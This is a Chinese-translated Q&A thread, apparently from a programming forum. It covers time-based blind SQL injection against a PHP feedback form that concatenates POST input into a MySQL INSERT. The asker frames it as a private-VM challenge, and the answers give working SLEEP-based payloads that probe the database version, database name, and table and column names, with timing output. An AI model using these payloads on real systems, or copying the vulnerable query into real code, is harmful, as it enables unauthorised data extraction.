查找基于时间的盲sqlinjection的sql查询

时间:2017-11-13 16:57:48

标签: mysql database sql-injection penetration-testing

我有简单的Web应用程序,允许将消息发布到MySQL数据库。 我的挑战是获取有关该数据库的所有信息。 不幸的是没有输出所以我必须做一个基于时间的盲注。

此有效负载有效,响应需要5秒才能到达客户端。

' RLIKE SLEEP(5) AND '1'='1

我必须以某种方式替换'1'='1,以便我可以检查表名或用户。

任何想法??

以下是易受攻击的查询的代码。

<?php
if (isset($_POST['feedback'])) {
    $id = $_POST['feedback'];
    $query = "INSERT INTO `hackdb`.`feedback` (`id` ,`feedback`, `feedback_read`, `created` ,`receiver`) VALUES (NULL,'".$_POST['feedback']."', '0', CURRENT_TIMESTAMP, '17')";
    if ($result = $mysqli->query($query)) {
        //echo "Done";  
    } else {
        //echo $mysqli->error;
    }
    echo "Thank you for your feedback! We'll contact you later.";
} else {
    echo "";
}
?>

(免责声明:这是一个挑战,我正在VM内的私人服务器上工作。这里没有任何不道德的事情发生在这里)

2 个答案:

答案 0 :(得分:0)

仅查看代码,字段反馈容易受到基于时间的盲SQL注入向量的影响。

创建数据库/创建表

CREATE DATABASE IF NOT EXISTS hackdb;

CREATE TABLE IF NOT EXISTS feedback (
  feedback VARCHAR(255)
);

您可以使用(SELECT ...)注入反馈列,因为这是有效的SQL。

<强>查询

INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT 1)
)  

<强>结果

1 row(s) affected

Execution Time : 0.013 sec
Transfer Time  : 0 sec
Total Time     : 0.014 sec

测试基于时间的盲SQL注入向量。

<强>查询

INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT SLEEP(5))
)  

<强>结果

1 row(s) affected

Execution Time : 5.717 sec
Transfer Time  : 0 sec
Total Time     : 5.718 sec

我们很高兴。 让我们找出数据库版本。
我们可以使用MySQL的VERSION()函数来实现

<强>查询

INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT 
   CASE
     WHEN VERSION() LIKE '5.1%'
     THEN SLEEP(5)
    ELSE 0
   END
  FROM 
  DUAL 
 )
)   

<强>结果

1 row(s) affected

Execution Time : 0.014 sec
Transfer Time  : 0 sec
Total Time     : 0.014 sec

没有宾果

<强>查询

INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT 
   CASE
     WHEN VERSION() LIKE '5.7%'
     THEN SLEEP(5)
    ELSE 0
   END
  FROM 
  DUAL 
 )
)  

<强>结果

1 row(s) affected

Execution Time : 5.733 sec
Transfer Time  : 0 sec
Total Time     : 5.734 sec

Bingo。

现在我们要找到正在使用的数据库。 我们可以使用MySQL的DATABASE()函数。

<强>查询

INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT 
   CASE
    WHEN (SELECT 1 FROM DUAL WHERE DATABASE() LIKE 's%')
    THEN SLEEP(5)
    ELSE 0
   END
  FROM 
 DUAL
 )
)  

<强>结果

1 row(s) affected

Execution Time : 0.014 sec
Transfer Time  : 0 sec
Total Time     : 0.015 sec

没有宾果

<强>查询

INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT 
   CASE
    WHEN (SELECT 1 FROM DUAL WHERE DATABASE() LIKE 'h%')
    THEN SLEEP(5)
    ELSE 0
   END
  FROM 
 DUAL
 )
)  

<强>结果

1 row(s) affected

Execution Time : 5.715 sec
Transfer Time  : 0 sec
Total Time     : 5.716 sec

<强>宾果

现在您可以在LIKE部分中添加第二个字符,依此类推。

我已经给你一些基本的基于时间的盲SQL注入向量。
由您来查找数据库中的表格 我不想破坏你的完整挑战。

答案 1 :(得分:0)

用于演示可能的有效负载的

表和插入

CREATE TABLE foo_test
(id BIGINT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY
, blah VARCHAR(100)
) ;

INSERT INTO foo_test (id,blah) VALUES (NULL,'payload') ;

payload

的一些演示替换

无效的表/视图名称 - 获得快速响应
payload = 1' AND (SELECT 1 FROM feedback WHERE 0=1) AND SLEEP(5) AND '1
执行时间:0秒
错误代码:1146
表&#39; test.feedback&#39;不存在

好的表名 - 5秒以上
payload = 1' AND (SELECT 1 FROM foo WHERE 0=1) AND SLEEP(5) AND '1
执行时间:5.198秒
1行受影响

错误的列名称 - 快速回复
payload = 1' AND (SELECT bar FROM foo WHERE 0=1) AND SLEEP(5) AND '1
执行时间:0秒
错误代码:1054
未知专栏&#39; bar&#39;在&#39;字段列表&#39;